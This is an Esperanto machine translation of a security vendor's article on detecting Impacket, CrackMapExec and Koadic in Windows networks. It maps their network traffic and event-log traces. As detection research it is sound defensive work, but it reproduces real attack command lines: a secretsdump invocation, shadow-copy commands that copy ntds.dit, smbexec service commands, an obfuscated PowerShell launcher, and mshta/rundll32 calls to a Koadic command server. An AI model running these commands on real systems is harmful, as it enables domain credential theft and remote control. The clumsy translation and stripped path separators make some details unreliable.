Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn

La nombro da atakoj en la kompania sektoro kreskas ĉiujare: ekzemple en 2017, 13% pli da unikaj okazaĵoj estis registritaj ol en 2016, kaj fine de 2018 - 27% pli da okazaĵojol en la antaŭa periodo. Inkluzive de tiuj, kie la ĉefa laborilo estas la Vindoza operaciumo. En 2017-2018, la APT Libelo, APT28, APT MuddyWater faris atakojn kontraŭ registaraj kaj armeaj organizoj en Eŭropo, Nordameriko kaj Saud-Arabio. Kaj ni uzis tri ilojn por tio - Pako, CrackMapExec и Koadic. Ilia fontkodo estas malfermita kaj havebla sur GitHub.

Indas rimarki, ke ĉi tiuj iloj ne estas uzataj por komenca penetrado, sed por disvolvi atakon ene de la infrastrukturo. Atakantoj uzas ilin en malsamaj stadioj de la atako post la penetro de la perimetro. Ĉi tio, cetere, estas malfacile detektebla kaj ofte nur helpe de teknologio identigante spurojn de kompromiso en rettrafiko aŭ iloj kiuj permesas detekti aktivajn agojn de atakanto post kiam li penetris la infrastrukturon. La iloj disponigas diversajn funkciojn, de translokado de dosieroj ĝis interagado kun la registro kaj ekzekuti komandojn sur fora maŝino. Ni faris studon de ĉi tiuj iloj por determini ilian retan agadon.

Kion ni bezonis fari:

  • Komprenu kiel funkcias hakaj iloj. Eksciu kion atakantoj bezonas ekspluati kaj kiajn teknologiojn ili povas uzi.
  • Trovu tion, kio ne estas detektita de informaj sekurecaj iloj en la unuaj etapoj de atako. La gvatfazo povas esti preterlasita, aŭ ĉar la atakanto estas interna atakanto, aŭ ĉar la atakanto ekspluatas truon en la infrastrukturo kiu antaŭe ne estis konata. Eblas restarigi la tutan ĉenon de liaj agoj, tial la deziro detekti plian movadon.
  • Forigi falsajn pozitivojn de entrudiĝaj detektaj iloj. Ni ne devas forgesi, ke kiam certaj agoj estas detektitaj nur surbaze de sciigo, oftaj eraroj eblas. Kutime en la infrastrukturo estas sufiĉa nombro da manieroj, nedistingeblaj de laŭleĝaj unuavide, por akiri ajnan informon.

Kion ĉi tiuj iloj donas al atakantoj? Se ĉi tio estas Pako, tiam atakantoj ricevas grandan bibliotekon de moduloj, kiuj povas esti uzataj en malsamaj stadioj de la atako, kiuj sekvas post rompado de la perimetro. Multaj iloj uzas Impacket-modulojn interne - ekzemple, Metasploit. Ĝi havas dcomexec kaj wmiexec por fora komanda ekzekuto, secretsdump por akiri kontojn de memoro kiuj estas aldonitaj de Impacket. Kiel rezulto, ĝusta detekto de la aktiveco de tia biblioteko certigos la detekton de derivaĵoj.

Ne estas hazardo, ke la kreintoj skribis "Powered by Impacket" pri CrackMapExec (aŭ simple CME). Krome, CME havas pretajn funkciojn por popularaj scenaroj: Mimikatz por akiri pasvortojn aŭ iliajn haŝojn, efektivigon de Meterpreter aŭ Empire-agento por fora ekzekuto, kaj Bloodhound surŝipe.

La tria ilo, kiun ni elektis, estis Koadic. Ĝi estas sufiĉe lastatempa, ĝi estis prezentita ĉe la internacia hacker-konferenco DEFCON 25 en 2017 kaj distingiĝas per ne-norma aliro: ĝi funkcias per HTTP, Java Script kaj Microsoft Visual Basic Script (VBS). Ĉi tiu aliro nomiĝas vivi de la tero: la ilo uzas aron da dependecoj kaj bibliotekoj konstruitaj en Vindozo. La kreintoj nomas ĝin COM Command & Control, aŭ C3.

IMPAKO

La funkcieco de Impacket estas tre larĝa, intervalante de sciigo ene de AD kaj kolektado de datumoj de internaj MS SQL-serviloj, ĝis teknikoj por akiri akreditaĵojn: ĉi tio estas SMB-relajso-atako, kaj akiranta la ntds.dit-dosieron enhavantan hashes de uzantpasvortoj de domajna regilo. Impacket ankaŭ efektivigas komandojn malproksime uzante kvar malsamajn metodojn: WMI, Windows Scheduler Management Service, DCOM kaj SMB, kaj postulas akreditaĵojn por fari tion.

Secretsdump

Ni rigardu secretsdump. Ĉi tio estas modulo, kiu povas celi ambaŭ uzantajn maŝinojn kaj domajnajn regilojn. Ĝi povas esti uzata por akiri kopiojn de memorareoj LSA, SAM, SECURITY, NTDS.dit, do ĝi povas esti vidita en malsamaj stadioj de la atako. La unua paŝo en la funkciado de la modulo estas aŭtentikigo per SMB, kiu postulas aŭ la pasvorton de la uzanto aŭ ĝian haŝon por aŭtomate efektivigi la Pass the Hash-atakon. Poste venas peto malfermi aliron al Service Control Manager (SCM) kaj akiri aliron al la registro per la winreg-protokolo, per kiu atakanto povas ekscii la datumojn de interesaj branĉoj kaj akiri rezultojn per SMB.

En Fig. 1 ni vidas kiel ĝuste kiam vi uzas la winreg-protokolon, aliro estas akirita per registra ŝlosilo kun LSA. Por fari tion, uzu la komandon DCERPC kun opcode 15 - OpenKey.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 1. Malfermu registran ŝlosilon uzante la protokolon winreg

Poste, kiam aliro al la ŝlosilo estas akirita, la valoroj estas konservitaj per la komando SaveKey kun opcode 20. Impacket faras tion tre specifa maniero. Ĝi konservas la valorojn al dosiero, kies nomo estas ĉeno de 8 hazardaj signoj aldonitaj per .tmp. Krome, plia alŝuto de ĉi tiu dosiero okazas per SMB el la dosierujo System32 (Fig. 2).

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 2. Skemo por akiri registran ŝlosilon de fora maŝino

Rezultas, ke tia agado en la reto povas esti detektita per demandoj al certaj registraj branĉoj uzante la winreg-protokolon, specifajn nomojn, komandojn kaj ilian ordon.

Ĉi tiu modulo ankaŭ lasas spurojn en la Vindoza evento-protokolo, faciligante ĝin detekti. Ekzemple, kiel rezulto de ekzekuto de la komando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

En la protokolo de Windows Server 2016 ni vidos la sekvan ŝlosilan sekvencon de eventoj:

1. 4624 - fora Ensaluto.
2. 5145 - kontrolanta alirrajtojn al la winreg fora servo.
3. 5145 - kontrolanta dosierojn alirrajtojn en la System32-dosierujo. La dosiero havas la hazardan nomon menciitan supre.
4. 4688 - kreante cmd.exe procezon kiu lanĉas vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - kreante procezon per la komando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - kreante procezon per la komando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - kreante procezon per la komando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Kiel multaj postekspluataj iloj, Impacket havas modulojn por malproksime ekzekuti komandojn. Ni koncentriĝos pri smbexec, kiu provizas interagan komandan ŝelon sur fora maŝino. Ĉi tiu modulo ankaŭ postulas aŭtentikigon per SMB, ĉu kun pasvorto aŭ pasvorta hash. En Fig. En Figuro 3 ni vidas ekzemplon pri kiel tia ilo funkcias, ĉi-kaze ĝi estas la loka administranto-konzolo.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 3. Interaga smbexec-konzolo

La unua paŝo de smbexec post aŭtentikigo estas malfermi la SCM per la komando OpenSCManagerW (15). La demando estas rimarkinda: la kampo MachineName estas DUMMY.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 4. Peto malfermi Servan Kontrolan Administranton

Poste, la servo estas kreita per la komando CreateServiceW (12). En la kazo de smbexec, ni povas vidi la saman komandan konstrulogikon ĉiufoje. En Fig. 5 verda indikas neŝanĝeblajn komandparametrojn, flava indikas kion atakanto povas ŝanĝi. Estas facile vidi, ke la nomo de la plenumebla dosiero, ĝia dosierujo kaj la eligodosiero povas esti ŝanĝitaj, sed la resto estas multe pli malfacile ŝanĝi sen ĝeni la logikon de la Modulo Impacket.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 5. Peto krei servon per Serva Kontrola Administranto

Smbexec ankaŭ lasas evidentajn spurojn en la Vindoza evento-protokolo. En la protokolo de Windows Server 2016 por la interaga komanda ŝelo kun la komando ipconfig, ni vidos la sekvan ŝlosilan sekvencon de eventoj:

1. 4697 - instalado de la servo sur la maŝino de la viktimo:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - kreado de la procezo cmd.exe kun la argumentoj de punkto 1.
3. 5145 - kontrolanta alirrajtojn al la __eliga dosiero en la C$-dosierujo.
4. 4697 - instalado de la servo sur la maŝino de la viktimo.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - kreado de la procezo cmd.exe kun la argumentoj de punkto 4.
6. 5145 - kontrolanta alirrajtojn al la __eliga dosiero en la C$-dosierujo.

Pako estas la bazo por disvolvi atakajn ilojn. Ĝi subtenas preskaŭ ĉiujn protokolojn en la Vindoza infrastrukturo kaj samtempe havas siajn proprajn karakterizaĵojn. Jen specifaj winreg-petoj, kaj la uzo de la SCM-API kun karakteriza komanda formado, kaj la dosiernomo-formato, kaj SMB-akcio SYSTEM32.

CRACKMAPEXEC

La CME-ilo estas desegnita ĉefe por aŭtomatigi tiujn rutinajn agojn, kiujn atakanto devas plenumi por antaŭeniri en la reto. Ĝi permesas vin labori kune kun la konata Empire-agento kaj Meterpreter. Por plenumi komandojn kaŝe, CME povas malklarigi ilin. Uzante Bloodhound (aparta scii ilo), atakanto povas aŭtomatigi la serĉon por aktiva domajna administra sesio.

Bloodhound

Bloodhound, kiel memstara ilo, permesas progresintan sciigon ene de la reto. Ĝi kolektas datumojn pri uzantoj, maŝinoj, grupoj, sesioj kaj estas liverita kiel PowerShell-skripto aŭ binara dosiero. LDAP aŭ SMB-bazitaj protokoloj estas uzataj por kolekti informojn. La CME-integra modulo permesas al Bloodhound esti elŝutita al la maŝino de la viktimo, kuri kaj ricevi la kolektitajn datumojn post ekzekuto, tiel aŭtomatigante agojn en la sistemo kaj igante ilin malpli videblaj. La grafika ŝelo de Bloodhound prezentas la kolektitajn datumojn en formo de grafikaĵoj, kiuj ebligas al vi trovi la plej mallongan vojon de la maŝino de la atakanto ĝis la domajna administranto.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 6. Bloodhound Interfaco

Por funkcii per la maŝino de la viktimo, la modulo kreas taskon uzante ATSVC kaj SMB. ATSVC estas interfaco por labori kun la Vindoza Task Scheduler. CME uzas ĝian NetrJobAdd(1) funkcion por krei laborlokojn tra la reto. Ekzemplo de tio, kion sendas la CME-modulo, estas montrita en Figuro. 7: Ĉi tio estas komandvoko de cmd.exe kaj malklarigita kodo en formo de argumentoj en XML-formato.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Fig.7. Krei taskon per CME

Post kiam la tasko estis prezentita por ekzekuto, la maŝino de la viktimo ekfunkciigas Bloodhound mem, kaj ĉi tio videblas en la trafiko. La modulo estas karakterizita per LDAP-demandoj por akiri normajn grupojn, liston de ĉiuj maŝinoj kaj uzantoj en la domajno, kaj akiri informojn pri aktivaj uzantsesioj per la SRVSVC NetSessEnum-peto.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 8. Akirante liston de aktivaj kunsidoj per SMB

Krome, lanĉi Bloodhound sur la maŝino de viktimo kun revizio ebligita estas akompanata de evento kun ID 4688 (procezkreado) kaj la proceznomo. «C:WindowsSystem32cmd.exe». Kio rimarkindas pri ĝi estas la komandliniaj argumentoj:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproduktoj

La modulo enum_avproducts estas tre interesa el la vidpunkto de funkcieco kaj efektivigo. WMI permesas al vi uzi la serĉlingvon WQL por preni datumojn de diversaj Vindozaj objektoj, kio estas esence kion ĉi tiu CME-modulo uzas. Ĝi generas demandojn al la klasoj AntiSpywareProduct kaj AntiМirusProduct pri la protektaj iloj instalitaj sur la maŝino de la viktimo. Por akiri la necesajn datumojn, la modulo konektas al la nomspaco rootSecurityCenter2, poste generas WQL-demandon kaj ricevas respondon. En Fig. Figuro 9 montras la enhavon de tiaj petoj kaj respondoj. En nia ekzemplo, Windows Defender estis trovita.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 9. Reta agado de la modulo enum_avproducts

Ofte, WMI-reviziado (Trace WMI-Activity), en kies eventoj vi povas trovi utilajn informojn pri WQL-demandoj, povas esti malŝaltita. Sed se ĝi estas ebligita, tiam se la enum_avproducts skripto estas rulita, okazaĵo kun ID 11 estos konservita. Ĝi enhavos la nomon de la uzanto kiu sendis la peton kaj la nomon en la rootSecurityCenter2 nomspaco.

Ĉiu el la CME-moduloj havis siajn proprajn artefaktojn, ĉu ĝi estas specifaj WQL-demandoj aŭ la kreado de certa speco de tasko en taskoplanisto kun malklarigado kaj Bloodhound-specifa agado en LDAP kaj SMB.

KOADIC

Karakterizaĵo de Koadic estas la uzo de JavaScript kaj VBScript interpretistoj konstruitaj en Vindozo. En ĉi tiu senco, ĝi sekvas la tendencon por vivi de la tero - tio estas, ĝi ne havas eksterajn dependecojn kaj uzas normajn Vindozajn ilojn. Ĉi tio estas ilo por plena Komando kaj Kontrolo (CnC), ĉar post infekto "implanto" estas instalita sur la maŝino, permesante ĝin esti kontrolita. Tia maŝino, en Koadic-terminologio, estas nomita "zombio". Se estas nesufiĉaj privilegioj por plena funkciado flanke de la viktimo, Koadic havas la kapablon levi ilin per uzanta Konto-kontrolo-pretervojo (UAC-pretervojo) teknikoj.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 10. Koadic Ŝelo

La viktimo devas komenci komunikadon kun la Command & Control-servilo. Por fari tion, ŝi devas kontakti antaŭe pretan URI kaj ricevi la ĉefan Koadic-korpon uzante unu el la stagers. En Fig. Figuro 11 montras ekzemplon por la mshta stager.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 11. Komencante kunsidon kun la CnC-servilo

Surbaze de la respondvariablo WS, evidentiĝas, ke ekzekuto okazas per WScript.Shell, kaj la variabloj STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE enhavas ŝlosilajn informojn pri la parametroj de la nuna sesio. Ĉi tiu estas la unua peto-responda paro en HTTP-konekto kun CnC-servilo. Postaj petoj estas rekte rilataj al la funkcieco de la nomitaj moduloj (implantoj). Ĉiuj Koadic-moduloj funkcias nur kun aktiva sesio kun CnC.

Mimikatz

Same kiel CME funkcias kun Bloodhound, Koadic funkcias kun Mimikatz kiel aparta programo kaj havas plurajn manierojn lanĉi ĝin. Malsupre estas peto-responda paro por elŝuti la Mimikatz-enplantaĵon.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 12. Transloku Mimikatz al Koadic

Vi povas vidi kiel la URI-formato en la peto ŝanĝiĝis. Ĝi nun enhavas valoron por la csrf variablo, kiu respondecas pri la elektita modulo. Ne atentu ŝian nomon; Ni ĉiuj scias, ke CSRF estas kutime komprenata alimaniere. La respondo estis la sama ĉefparto de Koadic, al kiu kodo rilata al Mimikatz estis aldonita. Ĝi estas sufiĉe granda, do ni rigardu la ĉefajn punktojn. Ĉi tie ni havas la bibliotekon Mimikatz kodita en base64, seriigita .NET-klaso kiu injektos ĝin, kaj argumentojn por lanĉi Mimikatz. La ekzekutrezulto estas transdonita tra la reto en klara teksto.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 13. Rezulto de kurado de Mimikatz sur fora maŝino

Exec_cmd

Koadic ankaŭ havas modulojn kiuj povas ekzekuti komandojn malproksime. Ĉi tie ni vidos la saman URI-generadmetodon kaj la konatajn variablojn sid kaj csrf. En la kazo de la modulo exec_cmd, kodo estas aldonita al la korpo, kiu kapablas efektivigi ŝelkomandojn. Malsupre estas montrita tia kodo enhavita en la HTTP-respondo de la CnC-servilo.

Kiel detekti atakojn sur Vindoza infrastrukturo: esplorante piratajn ilojn
Rizo. 14. Implantkodo exec_cmd

La GAWTUUGCFI-variablo kun la konata WS-atributo estas postulata por koda ekzekuto. Kun ĝia helpo, la enplantaĵo vokas la ŝelon, prilaborante du branĉojn de kodo - shell.exec kun la reveno de la eligo datumfluo kaj shell.run sen reveno.

Koadic ne estas tipa ilo, sed ĝi havas siajn proprajn artefaktojn per kiuj ĝi povas esti trovita en legitima trafiko:

  • speciala formado de HTTP-petoj,
  • uzante winHttpRequests API,
  • kreante WScript.Shell-objekton per ActiveXObject,
  • granda plenumebla korpo.

La komenca konekto estas iniciatita de la scenejo, do eblas detekti ĝian agadon per Vindozaj eventoj. Por mshta, ĉi tio estas evento 4688, kiu indikas la kreadon de procezo kun la starta atributo:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Dum Koadic funkcias, vi povas vidi aliajn 4688 eventojn kun atributoj, kiuj perfekte karakterizas ĝin:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

trovoj

La tendenco por vivi de la tero akiras popularecon inter krimuloj. Ili uzas la ilojn kaj mekanismojn enkonstruitajn en Vindozo por siaj bezonoj. Ni vidas popularajn ilojn Koadic, CrackMapExec kaj Impacket sekvante ĉi tiun principon ĉiam pli aperi en APT-raportoj. La nombro da forkoj en GitHub por ĉi tiuj iloj ankaŭ kreskas, kaj novaj aperas (estas jam ĉirkaŭ milo da ili nun). La tendenco gajnas popularecon pro sia simpleco: atakantoj ne bezonas triajn ilojn; ili jam estas sur la maŝinoj de viktimoj kaj helpas ilin preterpasi sekurecajn mezurojn. Ni koncentriĝas pri studado de retkomunikado: ĉiu ilo priskribita supre lasas siajn proprajn spurojn en rettrafiko; detala studo de ili permesis al ni instrui nian produkton PT Network Attack Discovery detekti ilin, kio finfine helpas esplori la tutan ĉenon de ciberokazaĵoj implikantaj ilin.

aŭtoroj:

  • Anton Tyurin, Estro de Fakultato-Sekcio, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, eksperto, PT Expert Security Center, Positive Technologies

fonto: www.habr.com

Aldoni komenton